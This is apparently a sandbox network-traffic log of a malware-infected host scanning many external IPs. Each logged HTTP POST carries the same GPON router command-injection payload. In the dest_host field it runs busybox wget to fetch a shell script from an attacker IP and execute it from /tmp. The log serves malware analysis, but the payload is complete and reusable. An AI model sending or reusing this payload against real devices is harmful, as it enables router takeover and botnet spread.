Mar 21, 2024 05:18:33.914943933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1141	192.168.2.13	33304	109.170.193.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915010929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1142	192.168.2.13	52810	118.215.24.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915040970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1143	192.168.2.13	48754	42.232.47.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915132046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1144	192.168.2.13	53748	210.127.131.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915142059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1145	192.168.2.13	40208	109.219.228.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915179014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1146	192.168.2.13	48638	210.40.213.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915221930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1147	192.168.2.13	55674	212.92.111.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915239096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1148	192.168.2.13	48554	178.73.2.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915271044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1149	192.168.2.13	47824	178.142.16.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915334940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1150	192.168.2.13	54498	37.108.43.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915364981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1151	192.168.2.13	58142	5.145.87.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915390015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1152	192.168.2.13	35844	5.187.165.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915435076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1153	192.168.2.13	53264	178.39.188.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915457010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1154	192.168.2.13	54902	118.17.248.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915466070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1155	192.168.2.13	43792	2.55.122.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915535927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1156	192.168.2.13	52462	118.216.78.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915596962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1157	192.168.2.13	45380	178.35.69.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915641069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1158	192.168.2.13	39052	94.44.164.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915647030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1159	192.168.2.13	52182	94.139.173.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915796041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1160	192.168.2.13	41400	79.38.12.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915854931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1161	192.168.2.13	41576	2.29.72.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915865898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1162	192.168.2.13	48404	2.52.25.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915899038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1163	192.168.2.13	48402	42.177.196.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915925026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1164	192.168.2.13	35956	210.41.19.190	443

Timestamp	Bytes transferred	Direction	Data
